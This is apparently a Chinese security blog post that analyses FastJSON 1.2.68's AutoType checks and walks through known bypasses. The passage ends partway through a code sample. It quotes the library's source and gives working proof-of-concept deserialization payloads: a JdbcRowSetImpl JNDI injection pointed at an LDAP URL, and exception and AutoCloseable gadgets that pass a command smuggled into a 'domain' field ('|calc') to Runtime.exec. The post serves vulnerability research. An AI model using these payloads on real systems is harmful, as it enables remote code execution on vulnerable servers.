某json<=1.2.68 Autotype bypass - Al1ex

admin 2021年12月31日15:26:55评论135 views字数 31183阅读103分56秒阅读模式

文章前言

本篇文章主要对FastJSON AutoType的校验原理,以及绕过方式进行简单的分析介绍,跟多的是学习记录,文章涉及的绕过方式都是"站在巨人的肩膀上"看风景的,很后悔当初去看了Jackson-databind而丢弃了fastJSON,哎....,悔不当初呀~

校验原理

FastJSON中的checkAutoType()函数用于对反序列化的类进行黑白名单校验,我们首先来看一下checkAutoType()函数的检查流程:
代码位置:fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\ParserConfig.java
checkAutoType函数默认需要传递三个参数:
String typeName:被序列化的类名
Class<?> expectClass:期望类()
int features:配置的feature值
这里的expectClass(期望类)的目的是为了让一些实现了expectClass这个接口的类可以被反序列化,可以看到这里首先校验了typeName是否为空、autoTypeCheckHandlers是否为null,之后检查safeMode模式是否开启(在1.2.68中首次出现,配置safeMode后,无论白名单和黑名单都不支持autoType)、typeName的长度来决定是否开启AutoType:

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        }

        if (autoTypeCheckHandlers != null) {
            for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
                Class<?> type = h.handler(typeName, expectClass, features);
                if (type != null) {
                    return type;
                }
            }
        }

        final int safeModeMask = Feature.SafeMode.mask;
        boolean safeMode = this.safeMode
                || (features & safeModeMask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
        if (safeMode) {
            throw new JSONException("safeMode not support autoType : " + typeName);
        }

        if (typeName.length() >= 192 || typeName.length() < 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }

然后判断期望类expectClass,从下面可以看到这里的Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection都不能作为期望类:

final boolean expectClassFlag;
        if (expectClass == null) {
            expectClassFlag = false;
        } else {
            if (expectClass == Object.class
                    || expectClass == Serializable.class
                    || expectClass == Cloneable.class
                    || expectClass == Closeable.class
                    || expectClass == EventListener.class
                    || expectClass == Iterable.class
                    || expectClass == Collection.class
                    ) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }

之后从typeName中解析出className,然后计算hash进行内部白名单、黑名单匹配,之后如果不在白名单内且未开启AutoType或者expectClassFlag为true则进行hash校验——白名单acceptHashCodes、黑名单denyHashCodes,如果在白名单内就加载,在黑名单中就抛出异常:

String className = typeName.replace('$', '.');
        Class<?> clazz;

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;

        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
        if (h1 == 0xaf64164c86024f1aL) { // [
            throw new JSONException("autoType is not support. " + typeName);
        }

        if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        final long h3 = (((((BASIC ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(1))
                * PRIME)
                ^ className.charAt(2))
                * PRIME;

        long fullHash = TypeUtils.fnv1a_64(className);
        boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) >= 0;

        if (internalDenyHashCodes != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
        if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
                        continue;
                    }

                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

白名单列表如下:

INTERNAL_WHITELIST_HASHCODES = new long[] {
                0x82E8E13016B73F9EL,
                0x863D2DD1E82B9ED9L,
                0x8B2081CB3A50BD44L,
                0x90003416F28ACD89L,
                0x92F252C398C02946L,
                0x9E404E583F254FD4L,
                0x9F2E20FB6049A371L,
                0xA8AAA929446FFCE4L,
                0xAB9B8D073948CA9DL,
                0xAFCB539973CEA3F7L,
                0xB5114C70135C4538L,
                0xC0FE32B8DC897DE9L,
                0xC59AA84D9A94C640L,
                0xC92D8F9129AF339BL,
                0xCC720543DC5E7090L,
                0xD0E71A6E155603C1L,
                0xD11D2A941337A7BCL,
                0xDB7BFFC197369352L,
                0xDC9583F0087CC2C7L,
                0xDDAAA11FECA77B5EL,
                0xE08EE874A26F5EAFL,
                0xE794F5F7DCD3AC85L,
                0xEB7D4786C473368DL,
                0xF4AA683928027CDAL,
                0xF8C7EF9B13231FB6L,
                0xD45D6F8C9017FAL,
                0x6B949CE6C2FE009L,
                0x76566C052E83815L,
                0x9DF9341F0C76702L,
                0xB81BA299273D4E6L,
                0xD4788669A13AE74L,
                0x111D12921C5466DAL,
                0x178B0E2DC3AE9FE5L,
                0x19DCAF4ADC37D6D4L,
                0x1F10A70EE4065963L,
                0x21082DFBF63FBCC1L,
                0x24AE2D07FB5D7497L,
                0x26C5D923AF21E2E1L,
                0x34CC8E52316FA0CBL,
                0x3F64BC3933A6A2DFL,
                0x42646E60EC7E5189L,
                0x44D57A1B1EF53451L,
                0x4A39C6C7ACB6AA18L,
                0x4BB3C59964A2FC50L,
                0x4F0C3688E8A18F9FL,
                0x5449EC9B0280B9EFL,
                0x54DC66A59269BAE1L,
                0x552D9FB02FFC9DEFL,
                0x557F642131553498L,
                0x604D6657082C1EE9L,
                0x61D10AF54471E5DEL,
                0x64DC636F343516DCL,
                0x73A0BE903F2BCBF4L,
                0x73FBA1E41C4C3553L,
                0x7B606F16A261E1E6L,
                0x7F36112F218143B6L,
                0x7FE2B8E675DA0CEFL
        };

黑名单列表:

denyHashCodes = new long[]{
                0x80D0C70BCC2FEA02L,
                0x86FC2BF9BEAF7AEFL,
                0x87F52A1B07EA33A6L,
                0x8EADD40CB2A94443L,
                0x8F75F9FA0DF03F80L,
                0x9172A53F157930AFL,
                0x92122D710E364FB8L,
                0x941866E73BEFF4C9L,
                0x94305C26580F73C5L,
                0x9437792831DF7D3FL,
                0xA123A62F93178B20L,
                0xA85882CE1044C450L,
                0xAA3DAFFDB10C4937L,
                0xAC6262F52C98AA39L,
                0xAD937A449831E8A0L,
                0xAE50DA1FAD60A096L,
                0xAFFF4C95B99A334DL,
                0xB40F341C746EC94FL,
                0xB7E8ED757F5D13A2L,
                0xBCDD9DC12766F0CEL,
                0xC00BE1DEBAF2808BL,
                0xC2664D0958ECFE4CL,
                0xC7599EBFE3E72406L,
                0xC8D49E5601E661A9L,
                0xC963695082FD728EL,
                0xD1EFCDF4B3316D34L,
                0xD54B91CC77B239EDL,
                0xD8CA3D595E982BACL,
                0xDE23A0809A8B9BD6L,
                0xDEFC208F237D4104L,
                0xDF2DDFF310CDB375L,
                0xE09AE4604842582FL,
                0xE1919804D5BF468FL,
                0xE2EB3AC7E56C467EL,
                0xE603D6A51FAD692BL,
                0xE9184BE55B1D962AL,
                0xE9F20BAD25F60807L,
                0xF3702A4A5490B8E8L,
                0xF474E44518F26736L,
                0xF7E96E74DFA58DBCL,
                0xFC773AE20C827691L,
                0xFD5BFC610056D720L,
                0xFFA15BF021F1E37CL,
                0xFFDD1A80F1ED3405L,
                0x10E067CD55C5E5L,
                0x761619136CC13EL,
                0x3085068CB7201B8L,
                0x45B11BC78A3ABA3L,
                0x55CFCA0F2281C07L,
                0xB6E292FA5955ADEL,
                0xEE6511B66FD5EF0L,
                0x100150A253996624L,
                0x10B2BDCA849D9B3EL,
                0x144277B467723158L,
                0x14DB2E6FEAD04AF0L,
                0x154B6CB22D294CFAL,
                0x17924CCA5227622AL,
                0x193B2697EAAED41AL,
                0x1CD6F11C6A358BB7L,
                0x1E0A8C3358FF3DAEL,
                0x24D2F6048FEF4E49L,
                0x24EC99D5E7DC5571L,
                0x25E962F1C28F71A2L,
                0x275D0732B877AF29L,
                0x2ADFEFBBFE29D931L,
                0x2B3A37467A344CDFL,
                0x2D308DBBC851B0D8L,
                0x313BB4ABD8D4554CL,
                0x327C8ED7C8706905L,
                0x332F0B5369A18310L,
                0x339A3E0B6BEEBEE9L,
                0x33C64B921F523F2FL,
                0x34A81EE78429FDF1L,
                0x3826F4B2380C8B9BL,
                0x398F942E01920CF0L,
                0x3B0B51ECBF6DB221L,
                0x42D11A560FC9FBA9L,
                0x43320DC9D2AE0892L,
                0x440E89208F445FB9L,
                0x46C808A4B5841F57L,
                0x49312BDAFB0077D9L,
                0x4A3797B30328202CL,
                0x4BA3E254E758D70DL,
                0x4BF881E49D37F530L,
                0x4DA972745FEB30C1L,
                0x4EF08C90FF16C675L,
                0x4FD10DDC6D13821FL,
                0x527DB6B46CE3BCBCL,
                0x535E552D6F9700C1L,
                0x5728504A6D454FFCL,
                0x599B5C1213A099ACL,
                0x5A5BD85C072E5EFEL,
                0x5AB0CB3071AB40D1L,
                0x5D74D3E5B9370476L,
                0x5D92E6DDDE40ED84L,
                0x5F215622FB630753L,
                0x62DB241274397C34L,
                0x63A220E60A17C7B9L,
                0x665C53C311193973L,
                0x6749835432E0F0D2L,
                0x6A47501EBB2AFDB2L,
                0x6FCABF6FA54CAFFFL,
                0x746BD4A53EC195FBL,
                0x74B50BB9260E31FFL,
                0x75CC60F5871D0FD3L,
                0x767A586A5107FEEFL,
                0x7AA7EE3627A19CF3L,
                0x7ED9311D28BF1A65L,
                0x7ED9481D28BF417AL
        };

Fastjson在1.2.42开始就把原本明文的黑名单改成了哈希过的黑名单,防止安全研究者对其进行研究:
https://github.com/alibaba/fastjson/commit/eebea031d4d6f0a079c3d26845d96ad50c3aaccd
某json<=1.2.68 Autotype bypass -  Al1ex
Fastjson在1.2.61开始把黑名单从十进制数变成了十六进制数,以此来防止安全研究者进行搜索:
某json<=1.2.68 Autotype bypass -  Al1ex
Fastjson在1.2.62开始,https://github.com/alibaba/fastjson/commit/014444e6c62329ec7878bb6b0c6b28c3f516c54e中,从小写改成了大写:
某json<=1.2.68 Autotype bypass -  Al1ex
Git记录十进制和小写的十六进制数,不记录大写的十六进制数,网上没找到类似的仓库,为了弄清楚每个hash到底对应的是什么,GitHub上有人写了一个轮子来跑了一波,不过目前已经很久没有更新了:
https://github.com/LeadroyaL/fastjson-blacklist
某json<=1.2.68 Autotype bypass -  Al1ex
下面我们接着来看,之后分别从getClassFromMapping、deserializers、typeMapping、internalWhite内部白名单中查找类,如果开启了expectClass期望类还要判断类型是否一致,可以到这里还未出现"autoTypeSupport"的判断,当已经可以返回clazz(示例类)了:

clazz = TypeUtils.getClassFromMapping(typeName);

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz == null) {
            clazz = typeMapping.get(typeName);
        }

        if (internalWhite) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
        }

        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

这里的getClassFromMapping在com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings被赋值,添加了一些基本类,后续被当作缓存使用

private static void addBaseClassMappings(){
        mappings.put("byte", byte.class);
        mappings.put("short", short.class);
        mappings.put("int", int.class);
        mappings.put("long", long.class);
        mappings.put("float", float.class);
        mappings.put("double", double.class);
        mappings.put("boolean", boolean.class);
        mappings.put("char", char.class);
        mappings.put("[byte", byte[].class);
        mappings.put("[short", short[].class);
        mappings.put("[int", int[].class);
        mappings.put("[long", long[].class);
        mappings.put("[float", float[].class);
        mappings.put("[double", double[].class);
        mappings.put("[boolean", boolean[].class);
        mappings.put("[char", char[].class);
        mappings.put("[B", byte[].class);
        mappings.put("[S", short[].class);
        mappings.put("[I", int[].class);
        mappings.put("[J", long[].class);
        mappings.put("[F", float[].class);
        mappings.put("[D", double[].class);
        mappings.put("[C", char[].class);
        mappings.put("[Z", boolean[].class);
        Class<?>[] classes = new Class[]{
                Object.class,
                java.lang.Cloneable.class,
                loadClass("java.lang.AutoCloseable"),
                java.lang.Exception.class,
                java.lang.RuntimeException.class,
                java.lang.IllegalAccessError.class,
                java.lang.IllegalAccessException.class,
                java.lang.IllegalArgumentException.class,
                java.lang.IllegalMonitorStateException.class,
                java.lang.IllegalStateException.class,
                java.lang.IllegalThreadStateException.class,
                java.lang.IndexOutOfBoundsException.class,
                java.lang.InstantiationError.class,
                java.lang.InstantiationException.class,
                java.lang.InternalError.class,
                java.lang.InterruptedException.class,
                java.lang.LinkageError.class,
                java.lang.NegativeArraySizeException.class,
                java.lang.NoClassDefFoundError.class,
                java.lang.NoSuchFieldError.class,
                java.lang.NoSuchFieldException.class,
                java.lang.NoSuchMethodError.class,
                java.lang.NoSuchMethodException.class,
                java.lang.NullPointerException.class,
                java.lang.NumberFormatException.class,
                java.lang.OutOfMemoryError.class,
                java.lang.SecurityException.class,
                java.lang.StackOverflowError.class,
                java.lang.StringIndexOutOfBoundsException.class,
                java.lang.TypeNotPresentException.class,
                java.lang.VerifyError.class,
                java.lang.StackTraceElement.class,
                java.util.HashMap.class,
                java.util.Hashtable.class,
                java.util.TreeMap.class,
                java.util.IdentityHashMap.class,
                java.util.WeakHashMap.class,
                java.util.LinkedHashMap.class,
                java.util.HashSet.class,
                java.util.LinkedHashSet.class,
                java.util.TreeSet.class,
                java.util.ArrayList.class,
                java.util.concurrent.TimeUnit.class,
                java.util.concurrent.ConcurrentHashMap.class,
                java.util.concurrent.atomic.AtomicInteger.class,
                java.util.concurrent.atomic.AtomicLong.class,
                java.util.Collections.EMPTY_MAP.getClass(),
                java.lang.Boolean.class,
                java.lang.Character.class,
                java.lang.Byte.class,
                java.lang.Short.class,
                java.lang.Integer.class,
                java.lang.Long.class,
                java.lang.Float.class,
                java.lang.Double.class,
                java.lang.Number.class,
                java.lang.String.class,
                java.math.BigDecimal.class,
                java.math.BigInteger.class,
                java.util.BitSet.class,
                java.util.Calendar.class,
                java.util.Date.class,
                java.util.Locale.class,
                java.util.UUID.class,
                java.sql.Time.class,
                java.sql.Date.class,
                java.sql.Timestamp.class,
                java.text.SimpleDateFormat.class,
                com.alibaba.fastjson.JSONObject.class,
                com.alibaba.fastjson.JSONPObject.class,
                com.alibaba.fastjson.JSONArray.class,
        };
        for(Class clazz : classes){
            if(clazz == null){
                continue;
            }
            mappings.put(clazz.getName(), clazz);
        }
    }

这里可以先注意下java.lang.AutoCloseable类,deserializers.findClass在com.alibaba.fastjson.parser.ParserConfig#initDeserializers处被初始化,这里也是存放了一些特殊类用来直接反序列化:

private void initDeserializers() {
        deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
        deserializers.put(java.sql.Timestamp.class, SqlDateDeserializer.instance_timestamp);
        deserializers.put(java.sql.Date.class, SqlDateDeserializer.instance);
        deserializers.put(java.sql.Time.class, TimeDeserializer.instance);
        deserializers.put(java.util.Date.class, DateCodec.instance);
        deserializers.put(Calendar.class, CalendarCodec.instance);
        deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);

        deserializers.put(JSONObject.class, MapDeserializer.instance);
        deserializers.put(JSONArray.class, CollectionCodec.instance);

        deserializers.put(Map.class, MapDeserializer.instance);
        deserializers.put(HashMap.class, MapDeserializer.instance);
        deserializers.put(LinkedHashMap.class, MapDeserializer.instance);
        deserializers.put(TreeMap.class, MapDeserializer.instance);
        deserializers.put(ConcurrentMap.class, MapDeserializer.instance);
        deserializers.put(ConcurrentHashMap.class, MapDeserializer.instance);

        deserializers.put(Collection.class, CollectionCodec.instance);
        deserializers.put(List.class, CollectionCodec.instance);
        deserializers.put(ArrayList.class, CollectionCodec.instance);

        deserializers.put(Object.class, JavaObjectDeserializer.instance);
        deserializers.put(String.class, StringCodec.instance);
        deserializers.put(StringBuffer.class, StringCodec.instance);
        deserializers.put(StringBuilder.class, StringCodec.instance);
        deserializers.put(char.class, CharacterCodec.instance);
        deserializers.put(Character.class, CharacterCodec.instance);
        deserializers.put(byte.class, NumberDeserializer.instance);
        deserializers.put(Byte.class, NumberDeserializer.instance);
        deserializers.put(short.class, NumberDeserializer.instance);
        deserializers.put(Short.class, NumberDeserializer.instance);
        deserializers.put(int.class, IntegerCodec.instance);
        deserializers.put(Integer.class, IntegerCodec.instance);
        deserializers.put(long.class, LongCodec.instance);
        deserializers.put(Long.class, LongCodec.instance);
        deserializers.put(BigInteger.class, BigIntegerCodec.instance);
        deserializers.put(BigDecimal.class, BigDecimalCodec.instance);
        deserializers.put(float.class, FloatCodec.instance);
        deserializers.put(Float.class, FloatCodec.instance);
        deserializers.put(double.class, NumberDeserializer.instance);
        deserializers.put(Double.class, NumberDeserializer.instance);
        deserializers.put(boolean.class, BooleanCodec.instance);
        deserializers.put(Boolean.class, BooleanCodec.instance);
        deserializers.put(Class.class, MiscCodec.instance);
        deserializers.put(char[].class, new CharArrayCodec());

        deserializers.put(AtomicBoolean.class, BooleanCodec.instance);
        deserializers.put(AtomicInteger.class, IntegerCodec.instance);
        deserializers.put(AtomicLong.class, LongCodec.instance);
        deserializers.put(AtomicReference.class, ReferenceCodec.instance);

        deserializers.put(WeakReference.class, ReferenceCodec.instance);
        deserializers.put(SoftReference.class, ReferenceCodec.instance);

        deserializers.put(UUID.class, MiscCodec.instance);
        deserializers.put(TimeZone.class, MiscCodec.instance);
        deserializers.put(Locale.class, MiscCodec.instance);
        deserializers.put(Currency.class, MiscCodec.instance);

        deserializers.put(Inet4Address.class, MiscCodec.instance);
        deserializers.put(Inet6Address.class, MiscCodec.instance);
        deserializers.put(InetSocketAddress.class, MiscCodec.instance);
        deserializers.put(File.class, MiscCodec.instance);
        deserializers.put(URI.class, MiscCodec.instance);
        deserializers.put(URL.class, MiscCodec.instance);
        deserializers.put(Pattern.class, MiscCodec.instance);
        deserializers.put(Charset.class, MiscCodec.instance);
        deserializers.put(JSONPath.class, MiscCodec.instance);
        deserializers.put(Number.class, NumberDeserializer.instance);
        deserializers.put(AtomicIntegerArray.class, AtomicCodec.instance);
        deserializers.put(AtomicLongArray.class, AtomicCodec.instance);
        deserializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);

        deserializers.put(Serializable.class, JavaObjectDeserializer.instance);
        deserializers.put(Cloneable.class, JavaObjectDeserializer.instance);
        deserializers.put(Comparable.class, JavaObjectDeserializer.instance);
        deserializers.put(Closeable.class, JavaObjectDeserializer.instance);

        deserializers.put(JSONPObject.class, new JSONPDeserializer());
    }

这里的typeMapping默认为空需要开发自己赋值,形如

ParserConfig.getGlobalInstance().register("test", Model.class);

这里的internalWhite为内部白名单也就是之前提到的部分,到这里已经可以返回实例类了,之后我们继续来看后续的代码,可以看到这里会判断autoType是否开启,如果开启AutoType则会进行黑白名单匹配,如果在黑名单内则直接抛出异常,如果在在白名单内且expectClass不为NULL则还需要判断类型是否一致,如果不满足条件则抛出异常,否则就可以返回实例类了:

if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;

                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                // white list
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }

之后检查使用注解JSONType的类(有注解的类一般都是开发自行写的JavaBean)

boolean jsonType = false;
        InputStream is = null;
        try {
            String resource = typeName.replace('.', '/') + ".class";
            if (defaultClassLoader != null) {
                is = defaultClassLoader.getResourceAsStream(resource);
            } else {
                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
            }
            if (is != null) {
                ClassReader classReader = new ClassReader(is, true);
                TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
                classReader.accept(visitor);
                jsonType = visitor.hasJsonType();
            }
        } catch (Exception e) {
            // skip
        } finally {
            IOUtils.close(is);
        }

之后检查是否开启AutoType或者有注解或者是期望类,则直接加载类,如果条件不满足或成功加载类后clazz不为NULL,则进一步判断是否有注解,如果有则加入mapping并直接返回实例类,如果没有注解则判断clazz是否继承或实现ClassLoader、javax.sql.DataSource、javax.sql.RowSet类,如果满足以上条件则直接抛出异常,这里这样做的目的主要是规避大多数的JNDI注入(JNDI注入大多数与DataSource类、RowSet类相关),之后如果expectClass不为NULL,则检查clazz是否是expectClass的实现或继承,如果类指定了JSONCreator注解,并且开启了SupportAutoType则抛出异常:

final int mask = Feature.SupportAutoType.mask;
        boolean autoTypeSupport = this.autoTypeSupport
                || (features & mask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

        if (autoTypeSupport || jsonType || expectClassFlag) {
            boolean cacheClass = autoTypeSupport || jsonType;
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
        }

        if (clazz != null) {
            if (jsonType) {
                TypeUtils.addMapping(typeName, clazz);
                return clazz;
            }

            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    TypeUtils.addMapping(typeName, clazz);
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }

最后判断是否开启autoTypeSupport,如果未开启则直接抛出异常,否则检查clazz是否为NULL,如果不为NULL则加入mapping,最后返回示例类:

if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        if (clazz != null) {
            TypeUtils.addMapping(typeName, clazz);
        }

        return clazz;
    }

通过上面的分析,我们可以了解到这里的checkAutoType其实就是一个校验和加载类的过程,而且SupportAutoType的校验是最后进行的,这样做的目的之一正是为了实现基础类的任意反序列化的feature(特性),这也就意味着需要通过逻辑来保证在这之前返回的类都是安全的,但也正是这个原因导致了AutoType的Bypass,同时我们可以看到当出现以下情况是会直接返回示例类:

  • 白名单里的类(acceptHashCodes+INTERNAL_WHITELIST_HASHCODES(内部白名单))
  • 开启了AutoType
  • 使用了JSONType注解
  • 指定了期望类(expectClass)
  • 缓存mapping中的类
    ## 绕过实践
    ### Mapping绕过
    首先,我们来回顾以下FastJSON 1.2.47的绕过——缓存mapping中的类,根据上面的校验原理部分我们可以了解到当mappings缓存中存在指定的类时,可以直接返回并且不受SupportAutoType限制,在TypeUtils.loadClass方法中,如果参数中cache值为true时,则会在加载到类之后,将类加入mappings缓存:
    某json<=1.2.68 Autotype bypass -  Al1ex
    完整的代码如下:

    public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
          if(className == null || className.length() == 0 || className.length() > 128){
              return null;
          }
    
          Class<?> clazz = mappings.get(className);
          if(clazz != null){
              return clazz;
          }
    
          if(className.charAt(0) == '['){
              Class<?> componentType = loadClass(className.substring(1), classLoader);
              return Array.newInstance(componentType, 0).getClass();
          }
    
          if(className.startsWith("L") && className.endsWith(";")){
              String newClassName = className.substring(1, className.length() - 1);
              return loadClass(newClassName, classLoader);
          }
    
          try{
              if(classLoader != null){
                  clazz = classLoader.loadClass(className);
                  if (cache) {
                      mappings.put(className, clazz);
                  }
                  return clazz;
              }
          } catch(Throwable e){
              e.printStackTrace();
              // skip
          }
          try{
              ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
              if(contextClassLoader != null && contextClassLoader != classLoader){
                  clazz = contextClassLoader.loadClass(className);
                  if (cache) {
                      mappings.put(className, clazz);
                  }
                  return clazz;
              }
          } catch(Throwable e){
              // skip
          }
          try{
              clazz = Class.forName(className);
              if (cache) {
                  mappings.put(className, clazz);
              }
              return clazz;
          } catch(Throwable e){
              // skip
          }
          return clazz;
      }
    

    之后全局查找所有调用了该函数位置,并且cache设置为true的函数,发现只有它的重载函数:
    某json<=1.2.68 Autotype bypass -  Al1ex

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
          return loadClass(className, classLoader, true);
      }
    

    之后继续寻找调用了该重载的地方,发现在MiscCode处有调用:

    if (clazz == Class.class) {
              return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
          }
    

    上面的逻辑是当class是一个java.lang.Class类时,会去加载指定类(从而也就无意之间加入了mappings缓存),而java.lang.Class同时也是个默认特殊类——deserializers.findClass指定类,可以直接反序列化,所以可以首先通过反序列化java.lang.Class指定恶意类,然后恶意类被加入mappings缓存后,第二次就可以直接从缓存中获取到恶意类,并进行反序列化:
    某json<=1.2.68 Autotype bypass -  Al1ex
    1.2.47的有效载荷如下:
    ```java
    package com.FastJson1242;

import com.alibaba.fastjson.JSONObject;

public class Poc {
public static void main(String[] argv){
String payload ="{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }, \n" +
" \"b\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"ldap://localhost:1099/Exploit\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
JSONObject.parseObject(payload);
}
}

执行结果如下:
![](https://xzfile.aliyuncs.com/media/upload/picture/20210422112304-0cd4c6c6-a31a-1.jpg)
### exceptClass期望类
#### ThrowableDeserializer
期望类的功能主要是实现/继承了期望类的class能被反序列化出来且不受autotype影响,默认情况下exceptClass这个参数是空的,也就不存在期望类的特性,之后全局搜索checkAutoType的调用,且条件是exceptClass不为空:
![](https://xzfile.aliyuncs.com/media/upload/picture/20210422112407-323ec394-a31a-1.jpg)
从上面的搜索结果中可以看到在JavaBeanDeserializer、ThrowableDeserializer中调用了checkAutoType并且exceptClass不为空,我们这里先来看一下ThrowableDeserializer,该类主要是对Throwable异常类进行反序列化,我们可以在ParserConfig.getDeserializer中找到对应的反序列化示例类型:
com\alibaba\fastjson\1.2.68\fastjson-1.2.68-sources.jar!\com\alibaba\fastjson\parser\ParserConfig.java 826
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20210422112428-3f01e156-a31a-1.png)
![](https://xzfile.aliyuncs.com/media/upload/picture/20210422112454-4e6cbb7a-a31a-1.jpg)
可以从上面看到ThrowableDeserializer是Throwable用来反序列化异常类的,我们先来看一下ThrowableDeserializer,可以看到在ThrowableDeserializer中可以根据第二个@type的值来获取具体类,并且根据传入的指定期望类进行加载:
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20210422112528-62a5f034-a31a-1.png)
因此可以反序列化继承自Throwable的异常类,在这里我们可以借助setter、getter等方法的自动调用,来挖掘gadget,下面是浅蓝师提供的一个Gadget:
```java
package org.heptagram.fastjson;

import java.io.IOException;

public class ViaThrowable extends Exception {
    private String domain;

    public ViaThrowable() {
        super();
    }

    public String getDomain() {
        return domain;
    }

    public void setDomain(String domain) {
        this.domain = domain;
    }

    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec("cmd /c ping "+domain);
        } catch (IOException e) {
            return e.getMessage();
        }
        return super.getMessage();
    }
}

测试载荷:

package org.heptagram.fastjson;
import com.alibaba.fastjson.JSONObject;

public class ThrowableMain {
    public static void main(String[] args) {
        String payload ="{\n" +
                "  \"@type\":\"java.lang.Exception\",\n" +
                "  \"@type\": \"org.heptagram.fastjson.ViaThrowable\",\n" +
                "  \"domain\": \"qbknro.dnslog.cn|calc\"\n" +
                "}";
        JSONObject.parseObject(payload);
    }
}

在上面的载荷中我们一共传入了两个@type,其中第一个是期望类(expectClass),第二个是需要反序列化的类,经过这样构造后在检查AutoTypeSupport之前就已经返回了clazz,之后接着为期望类选择反序列化的解析器,从而匹配到了Throwable.class,之后当扫描到第二个@type指定的类名后将其作为exClassName传入checkAutoType,此时checkAutotype传入的第二个参数为Throable.class也为Exception.class的接口,此时如果exClassName是实现或继承自Throwable就能过checkAutotype,下面是执行的结果:

JavaBeanDeserializer

在fastjson中对大部分类都指定了特定的deserializer,如果未指定则会通过createJavaBeanDeserializer()来指定deserializer,通常情况下都是一些第三方类才会调用到这里:
/com/alibaba/fastjson/1.2.68/fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/ParserConfig.java 832
某json<=1.2.68 Autotype bypass -  Al1ex
在FastJSON中com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings用于添加一些基本的类并将其当做缓存使用,但是在查看时可以发现这里的额外加载了一个java.lang.AUtoCloseable类,同时并未为其指定deserializer,因此会走到最后的else条件中去,之后对应的JavaBeanDeserializer,而且java.lang.AUtoCloseable类位于mapping缓存中,所以可以无条件反序列化:
某json<=1.2.68 Autotype bypass -  Al1ex
和之前一样,我们可以通过继承或者实现AutoCloseable类来绕过autotype反序列化检测,测试代码如下:

package org.heptagram.fastjson;

import java.io.IOException;
import java.io.Closeable;

public class ViaAutoCloseable  implements Closeable {
    private String domain;

    public ViaAutoCloseable() {
    }

    public ViaAutoCloseable(String domain) {
        this.domain = domain;
    }

    public String getDomain() {
        try {
